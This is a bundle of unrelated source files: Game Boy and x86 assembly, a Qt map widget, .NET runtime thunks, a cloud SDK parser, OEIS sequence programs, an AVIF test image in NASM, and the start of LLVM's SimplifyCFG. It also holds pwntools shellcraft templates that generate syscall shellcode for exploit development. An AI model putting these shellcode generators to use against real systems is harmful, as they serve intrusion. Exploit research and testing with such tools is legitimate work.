db $21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$21,$01,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8
.end
SoundTestMap:
; # # # # # # # # # # # # # # # # # # # #
db "SOUND TEST", 2,3,3,3,3,3,3,3,3,3
db "SOUND TEST", 1,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db " "
db " "
; -##################-------------
.end
SoundTestFontTop: incbin "GFX/SoundTestFontTop.2bpp.wle"
SoundTestFontBottom: incbin "GFX/SoundTestFontBottom.2bpp.wle"
|
#include "osmwindow.h"
#include <QtCore/QDebug>
#include <QtGui/QPainter>
#include <QtGui/QPaintEvent>
#include "osmtiles.h"
OsmWindow::OsmWindow(QWidget *parent, int zoom, int x, int y) : QWidget(parent), zoom(zoom), x(x), y(y)
{
tiles = new OsmTiles(this);
setAttribute(Qt::WA_AcceptTouchEvents);
};
void OsmWindow::paintEvent(QPaintEvent *ev)
{
static int i = 0;
qDebug() << i++ << ev->rect();
int n = 1 << zoom;
int min_nx = x/256;
int min_ny = y/256;
int max_nx = (x+ev->rect().width()-1)/256+1;
int max_ny = qMin(n, (y+ev->rect().height()-1)/256+1);
QPainter painter(this);
for (int ix=min_nx; ix<max_nx; ix++)
for (int iy=min_ny; iy<max_ny; iy++)
painter.drawImage(-x+ix*256, -y+iy*256, tiles->getTile(zoom, ix % n, iy));
};
void OsmWindow::mouseMoveEvent(QMouseEvent *ev)
{
if (ev->buttons() == Qt::LeftButton) {
x -= ev->x() - press_x;
y -= ev->y() - press_y;
press_x = ev->x();
press_y = ev->y();
update();
} else
ev->ignore();
};
void OsmWindow::mousePressEvent(QMouseEvent *ev)
{
if (ev->button() == Qt::LeftButton) {
press_x = ev->x();
press_y = ev->y();
} else
ev->ignore();
};
void OsmWindow::wheelEvent(QWheelEvent *ev)
{
if (-60 < ev->angleDelta().y() && ev->angleDelta().y() < 60)
ev->ignore();
else {
if (ev->angleDelta().y() > 0 && zoom < ZoomLevel::Maximum) {
zoom++;
x *= 2;
y *= 2;
} else if (zoom > ZoomLevel::Minimal) {
zoom--;
x /= 2;
y /= 2;
}
update();
}
};
void OsmWindow::tabletEvent(QTabletEvent *ev) {
qDebug() << ev;
ev->ignore();
};
void OsmWindow::touchEvent(QTouchEvent *ev) {
qDebug() << ev;
ev->ignore();
};
bool OsmWindow::event(QEvent *ev)
{
switch (ev->type()) {
case QEvent::TouchBegin:
case QEvent::TouchUpdate:
case QEvent::TouchEnd:
case QEvent::TouchCancel:
{
touchEvent((QTouchEvent*)ev);
return ev->isAccepted();
break;
}
default:
{
return QWidget::event(ev);
break;
}
}
};
|
Name: ys_enmy8.asm
Type: file
Size: 178916
Last-Modified: '2016-05-13T04:51:43Z'
SHA-1: 385E3714A9F222F26C1097C9416EFC552F4360C3
Description: null
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
#include "ksarm64.h"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DATA SECTIONS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__tls_array equ 0x58 ;; offsetof(TEB, ThreadLocalStoragePointer)
POINTER_SIZE equ 0x08
;; TLS variables
AREA |.tls$|, DATA
ThunkParamSlot % 0x8
TEXTAREA
EXTERN _tls_index
;; Section relocs are 32 bits. Using an extra DCD initialized to zero for 8-byte alignment.
__SECTIONREL_ThunkParamSlot
DCD ThunkParamSlot
RELOC 8, ThunkParamSlot ;; SECREL
DCD 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Interop Thunks Helpers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhCommonStub
;;
;; INPUT: xip0: thunk's data block
;;
;; TRASHES: x9, x10, x11, xip0
;;
LEAF_ENTRY RhCommonStub
;; There are arbitrary callers passing arguments with arbitrary signatures.
;; Custom calling convention:
;; xip0 pointer to the current thunk's data block (data contains 2 pointer values: context + target pointers)
;; Save context data into the ThunkParamSlot thread-local variable
;; A pointer to the delegate and function pointer for open static delegate should have been saved in the thunk's context cell during thunk allocation
ldr x10, =_tls_index
ldr w10, [x10]
ldr x9, [xpr, #__tls_array]
ldr x9, [x9, x10 lsl #3] ;; x9 <- our TLS base
;; x9 = base address of TLS data
;; x10 = trashed
;; xip0 = address of context cell in thunk's data
;; store thunk address in thread static
ldr x10, [xip0]
ldr x11, =__SECTIONREL_ThunkParamSlot
ldr x11, [x11]
str x10, [x9, x11] ;; ThunkParamSlot <- context slot data
;; Now load the target address and jump to it.
ldr xip0, [xip0, #POINTER_SIZE]
br xip0
LEAF_END RhCommonStub
;;
;; IntPtr RhGetCommonStubAddress()
;;
LEAF_ENTRY RhGetCommonStubAddress
ldr x0, =RhCommonStub
ret
LEAF_END RhGetCommonStubAddress
;;
;; IntPtr RhGetCurrentThunkContext()
;;
LEAF_ENTRY RhGetCurrentThunkContext
ldr x1, =_tls_index
ldr w1, [x1]
ldr x0, [xpr, #__tls_array]
ldr x0, [x0, x1 lsl #3] ;; x0 <- our TLS base
ldr x1, =__SECTIONREL_ThunkParamSlot
ldr x1, [x1]
ldr x0, [x0, x1] ;; x0 <- ThunkParamSlot
ret
LEAF_END RhGetCurrentThunkContext
END
|
/*
* Copyright 2009-2017 Alibaba Cloud All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <alibabacloud/sae/model/CreateApplicationResult.h>
#include <json/json.h>
using namespace AlibabaCloud::Sae;
using namespace AlibabaCloud::Sae::Model;
CreateApplicationResult::CreateApplicationResult() :
ServiceResult()
{}
CreateApplicationResult::CreateApplicationResult(const std::string &payload) :
ServiceResult()
{
parse(payload);
}
CreateApplicationResult::~CreateApplicationResult()
{}
void CreateApplicationResult::parse(const std::string &payload)
{
Json::Reader reader;
Json::Value value;
reader.parse(payload, value);
setRequestId(value["RequestId"].asString());
auto dataNode = value["Data"];
if(!dataNode["AppId"].isNull())
data_.appId = dataNode["AppId"].asString();
if(!dataNode["ChangeOrderId"].isNull())
data_.changeOrderId = dataNode["ChangeOrderId"].asString();
if(!value["Code"].isNull())
code_ = value["Code"].asString();
if(!value["Message"].isNull())
message_ = value["Message"].asString();
if(!value["ErrorCode"].isNull())
errorCode_ = value["ErrorCode"].asString();
if(!value["TraceId"].isNull())
traceId_ = value["TraceId"].asString();
if(!value["Success"].isNull())
success_ = value["Success"].asString() == "true";
}
std::string CreateApplicationResult::getMessage()const
{
return message_;
}
std::string CreateApplicationResult::getTraceId()const
{
return traceId_;
}
CreateApplicationResult::Data CreateApplicationResult::getData()const
{
return data_;
}
std::string CreateApplicationResult::getErrorCode()const
{
return errorCode_;
}
std::string CreateApplicationResult::getCode()const
{
return code_;
}
bool CreateApplicationResult::getSuccess()const
{
return success_;
}
|
; A218750: a(n) = (47^n-1)/46.
; 0,1,48,2257,106080,4985761,234330768,11013546097,517636666560,24328923328321,1143459396431088,53742591632261137,2525901806716273440,118717384915664851681,5579717091036248029008,262246703278703657363377,12325595054099071896078720,579302967542656379115699841,27227239474504849818437892528,1279680255301727941466580948817,60144971999181213248929304594400,2826813683961517022699677315936801,132860243146191300066884833849029648,6244431427870991103143587190904393457
mov $1,47
pow $1,$0
div $1,46
mov $0,$1
|
; A315525: Coordination sequence Gal.3.49.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,11,17,22,28,34,39,45,50,56,62,67,73,78,84,90,95,101,106,112,118,123,129,134,140,146,151,157,162,168,174,179,185,190,196,202,207,213,218,224,230,235,241,246,252,258,263,269,274
mul $0,28
sub $0,3
mov $1,$0
div $1,5
add $1,1
|
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
MOV AX, 1
ADD AX, 5
ADD AX, 5
ret
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2016, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; Invd.Asm
;
; Abstract:
;
; AsmInvd function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmInvd (
; VOID
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmInvd)
ASM_PFX(AsmInvd):
invd
ret
|
; A197927: The number of isolated nodes in all labeled directed graphs (with self loops allowed) on n nodes.
; 0,1,4,48,2048,327680,201326592,481036337152,4503599627370496,166020696663385964544,24178516392292583494123520,13944156602510523416463735259136,31901471898837980949691369446728269824,289909687580898100839964337544428699577745408
sub $0,1
mov $2,$0
mul $2,$0
add $0,1
mov $1,2
pow $1,$2
mul $0,$1
|
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="pid, cpusetsize, cpuset"/>
<%docstring>
Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.
Arguments:
pid(pid_t): pid
cpusetsize(size_t): cpusetsize
cpuset(cpu_set_t): cpuset
</%docstring>
${syscall('SYS_sched_getaffinity', pid, cpusetsize, cpuset)}
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
%>
<%docstring>delete_module(name) -> str
Invokes the syscall delete_module.
See 'man 2 delete_module' for more information.
Arguments:
name(char*): name
Returns:
int
</%docstring>
<%page args="name=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = ['name']
can_pushstr_array = []
argument_names = ['name']
argument_values = [name]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, str):
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_delete_module']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* delete_module(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>sysfs(option) -> str
Invokes the syscall sysfs.
See 'man 2 sysfs' for more information.
Arguments:
option(int): option
Returns:
int
</%docstring>
<%page args="option=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['option']
argument_values = [option]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_sysfs']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* sysfs(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24))
ftyp_start:
dd BE(ftyp_end - ftyp_start)
dd "ftyp"
db 0x61, 0x76, 0x69, 0x66 ; brand(32) ('avif')
db 0x00, 0x00, 0x00, 0x00 ; version(32)
db 0x61, 0x76, 0x69, 0x66 ; compatible_brand(32) ('avif')
db 0x6D, 0x69, 0x66, 0x31 ; compatible_brand(32) ('mif1')
db 0x6D, 0x69, 0x61, 0x66 ; compatible_brand(32) ('miaf')
db 0x4D, 0x41, 0x31, 0x42 ; compatible_brand(32) ('MA1B')
ftyp_end:
meta_start:
dd BE(meta_end - meta_start)
dd "meta"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
dd "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
dd "pitm"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x01 ; item_ID(16)
pitm_end:
iloc_start:
dd BE(iloc_end - iloc_start)
dd "iloc"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x44 ; offset_size(4) ('D') length_size(4) ('D')
db 0x00 ; base_offset_size(4) reserved1(4)
db 0x00, 0x02 ; item_count(16)
db 0x00, 0x01 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
; base_offset(0)
db 0x00, 0x01 ; extent_count(16)
dd BE(mdat_start - ftyp_start + 8) ; extent_offset(32)
db 0x00, 0x00, 0x00, 0x08 ; extent_length(32)
db 0x00, 0x02 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
; base_offset(0)
db 0x00, 0x01 ; extent_count(16)
dd BE(mdat_start - ftyp_start + 8 + 8) ; extent_offset(32)
db 0x00, 0x00, 0x00, 0x0B ; extent_length(32)
iloc_end:
iinf_start:
dd BE(iinf_end - iinf_start)
dd "iinf"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x02 ; entry_count(16)
infe_start:
dd BE(infe_end - infe_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x01 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x43 ; item_name(8) ('c')
db 0x6F ; item_name(8) ('o')
db 0x6C ; item_name(8) ('l')
db 0x6F ; item_name(8) ('o')
db 0x72 ; item_name(8) ('r')
db 0x00 ; item_name(8)
infe_end:
infe2_start:
dd BE(infe2_end - infe2_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x02 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x41 ; item_name(8) ('a')
db 0x6C ; item_name(8) ('l')
db 0x70 ; item_name(8) ('p')
db 0x68 ; item_name(8) ('h')
db 0x61 ; item_name(8) ('a')
db 0x00 ; item_name(8)
infe2_end:
iinf_end:
iref_start:
dd BE(iref_end - iref_start)
dd "iref"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x0E ; box_size(32)
db 0x61, 0x75, 0x78, 0x6C ; box_type(32) ('auxl')
db 0x00, 0x02 ; from_item_ID(16)
db 0x00, 0x01 ; reference_count(16)
db 0x00, 0x01 ; to_item_ID(16)
iref_end:
iprp_start:
dd BE(iprp_end - iprp_start)
dd "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
dd "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
dd "ispe"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x02, 0x00 ; image_width(32)
db 0x00, 0x00, 0x02, 0x00 ; image_height(32)
ispe_end:
pixi_start:
dd BE(pixi_end - pixi_start)
dd "pixi"
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x03 ; (8)
db 0x08 ; (8)
db 0x08 ; (8)
db 0x08 ; (8)
pixi_end:
av1C_start:
dd BE(av1C_end - av1C_start)
dd "av1C"
db 0x81 ; marker(1) version(7)
db 0x21 ; seq_profile(3) ('!') seq_level_idx_0(5) ('!')
db 0x00 ; seq_tier_0(1) high_bitdepth(1) twelve_bit(1) monochrome(1) chroma_subsampling_x(1) chroma_subsampling_y(1) chroma_sample_position(2)
db 0x00 ; reserved(3) initial_presentation_delay_present(1) reserved(4)
; configOBUs(0)
av1C_end:
colr_start:
dd BE(colr_end - colr_start)
dd "colr"
db 0x6E ; (8) ('n')
db 0x63 ; (8) ('c')
db 0x6C ; (8) ('l')
db 0x78 ; (8) ('x')
db 0x00 ; (8)
db 0x02 ; (8)
db 0x00 ; (8)
db 0x02 ; (8)
db 0x00 ; (8)
db 0x06 ; (8)
db 0x80 ; (8)
colr_end:
colr2_start:
dd BE(colr2_end - colr2_start)
dd "colr"
db 0x6E ; (8) ('n')
db 0x63 ; (8) ('c')
db 0x6C ; (8) ('l')
db 0x78 ; (8) ('x')
db 0x00 ; (8)
db 0x02 ; (8)
db 0x00 ; (8)
db 0x02 ; (8)
db 0x00 ; (8)
db 0x06 ; (8)
db 0x80 ; (8)
colr2_end:
ispe2_start:
dd BE(ispe2_end - ispe2_start)
dd "ispe"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x02, 0x00 ; image_width(32)
db 0x00, 0x00, 0x02, 0x00 ; image_height(32)
ispe2_end:
pixi2_start:
dd BE(pixi2_end - pixi2_start)
dd "pixi"
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x01 ; (8)
db 0x08 ; (8)
pixi2_end:
av1C2_start:
dd BE(av1C2_end - av1C2_start)
dd "av1C"
db 0x81 ; marker(1) version(7)
db 0x41 ; seq_profile(3) seq_level_idx_0(5)
db 0x5C ; seq_tier_0(1) high_bitdepth(1) twelve_bit(1) monochrome(1) chroma_subsampling_x(1) chroma_subsampling_y(1) chroma_sample_position(2)
db 0x00 ; reserved(3) initial_presentation_delay_present(1) reserved(4)
; configOBUs(0)
av1C2_end:
auxC_start:
dd BE(auxC_end - auxC_start)
dd "auxC"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x75 ; aux_type(8) ('u')
db 0x72 ; aux_type(8) ('r')
db 0x6E ; aux_type(8) ('n')
db 0x3A ; aux_type(8) (':')
db 0x6D ; aux_type(8) ('m')
db 0x70 ; aux_type(8) ('p')
db 0x65 ; aux_type(8) ('e')
db 0x67 ; aux_type(8) ('g')
db 0x3A ; aux_type(8) (':')
db 0x6D ; aux_type(8) ('m')
db 0x70 ; aux_type(8) ('p')
db 0x65 ; aux_type(8) ('e')
db 0x67 ; aux_type(8) ('g')
db 0x42 ; aux_type(8) ('B')
db 0x3A ; aux_type(8) (':')
db 0x63 ; aux_type(8) ('c')
db 0x69 ; aux_type(8) ('i')
db 0x63 ; aux_type(8) ('c')
db 0x70 ; aux_type(8) ('p')
db 0x3A ; aux_type(8) (':')
db 0x73 ; aux_type(8) ('s')
db 0x79 ; aux_type(8) ('y')
db 0x73 ; aux_type(8) ('s')
db 0x74 ; aux_type(8) ('t')
db 0x65 ; aux_type(8) ('e')
db 0x6D ; aux_type(8) ('m')
db 0x73 ; aux_type(8) ('s')
db 0x3A ; aux_type(8) (':')
db 0x61 ; aux_type(8) ('a')
db 0x75 ; aux_type(8) ('u')
db 0x78 ; aux_type(8) ('x')
db 0x69 ; aux_type(8) ('i')
db 0x6C ; aux_type(8) ('l')
db 0x69 ; aux_type(8) ('i')
db 0x61 ; aux_type(8) ('a')
db 0x72 ; aux_type(8) ('r')
db 0x79 ; aux_type(8) ('y')
db 0x3A ; aux_type(8) (':')
db 0x61 ; aux_type(8) ('a')
db 0x6C ; aux_type(8) ('l')
db 0x70 ; aux_type(8) ('p')
db 0x68 ; aux_type(8) ('h')
db 0x61 ; aux_type(8) ('a')
db 0x00 ; aux_type(8)
auxC_end:
ipco_end:
ipma_start:
dd BE(ipma_end - ipma_start)
dd "ipma"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x02 ; entry_count(32)
db 0x00, 0x01 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x01 ; essential(1) property_index(7)
db 0x02 ; essential(1) property_index(7)
db 0x88 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x05 ; essential(1) property_index(7)
db 0x00, 0x02 ; item_ID(16)
db 0x04 ; association_count(8)
db 0x06 ; essential(1) property_index(7)
db 0x07 ; essential(1) property_index(7)
db 0x83 ; essential(1) property_index(7)
db 0x09 ; essential(1) property_index(7)
ipma_end:
iprp_end:
meta_end:
mdat_start:
dd BE(mdat_end - mdat_start)
dd "mdat"
db 0x0A ; (8)
db 0x06 ; (8)
db 0x18 ; (8)
db 0x62 ; (8) ('b')
db 0x3F ; (8) ('?')
db 0xFF ; (8)
db 0xFE ; (8)
db 0x95 ; (8)
db 0x0A ; (8)
db 0x09 ; (8)
db 0x48 ; (8) ('8')
db 0x62 ; (8) ('b')
db 0x3F ; (8) ('?')
db 0xFF ; (8)
db 0xFE ; (8)
db 0xB0 ; (8)
db 0x20 ; (8) (' ')
db 0x20 ; (8) (' ')
db 0x61 ; (8) ('a')
mdat_end:
; vim: syntax=nasm
|
//===- SimplifyCFG.cpp - Code to perform CFG simplification ---------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// Peephole optimize the CFG.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/APInt.h"
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/Optional.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/SetOperations.h"
#include "llvm/ADT/SetVector.h"
#include "llvm/ADT/SmallPtrSet.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/Statistic.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Analysis/AssumptionCache.h"
#include "llvm/Analysis/ConstantFolding.h"
#include "llvm/Analysis/EHPersonalities.h"
#include "llvm/Analysis/InstructionSimplify.h"
#include "llvm/Analysis/MemorySSA.h"
#include "llvm/Analysis/MemorySSAUpdater.h"
#include "llvm/Analysis/TargetTransformInfo.h"
#include "llvm/Analysis/ValueTracking.h"
#include "llvm/IR/Attributes.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/CFG.h"
#include "llvm/IR/CallSite.h"
#include "llvm/IR/Constant.h"
#include "llvm/IR/ConstantRange.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/GlobalValue.h"
#include "llvm/IR/GlobalVariable.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/InstrTypes.h"
#include "llvm/IR/Instruction.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/MDBuilder.h"
#include "llvm/IR/Metadata.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/NoFolder.h"
#include "llvm/IR/Operator.h"
#include "llvm/IR/PatternMatch.h"
#include "llvm/IR/Type.h"
#include "llvm/IR/Use.h"
#include "llvm/IR/User.h"
#include "llvm/IR/Value.h"
#include "llvm/Support/Casting.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/KnownBits.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/Utils/BasicBlockUtils.h"
#include "llvm/Transforms/Utils/Local.h"
#include "llvm/Transforms/Utils/ValueMapper.h"
#include <algorithm>
#include <cassert>
#include <climits>
#include <cstddef>
#include <cstdint>
#include <iterator>
#include <map>
#include <set>
#include <tuple>
#include <utility>
#include <vector>
using namespace llvm;
using namespace PatternMatch;
#define DEBUG_TYPE "simplifycfg"
// Chosen as 2 so as to be cheap, but still to have enough power to fold
// a select, so the "clamp" idiom (of a min followed by a max) will be caught.
// To catch this, we need to fold a compare and a select, hence '2' being the
// minimum reasonable default.
static cl::opt<unsigned> PHINodeFoldingThreshold(
"phi-node-folding-threshold", cl::Hidden, cl::init(2),
cl::desc(
"Control the amount of phi node folding to perform (default = 2)"));
static cl::opt<bool> DupRet(
"simplifycfg-dup-ret", cl::Hidden, cl::init(false),
cl::desc("Duplicate return instructions into unconditional branches"));
static cl::opt<bool>
SinkCommon("simplifycfg-sink-common", cl::Hidden, cl::init(true),
cl::desc("Sink common instructions down to the end block"));
static cl::opt<bool> HoistCondStores(
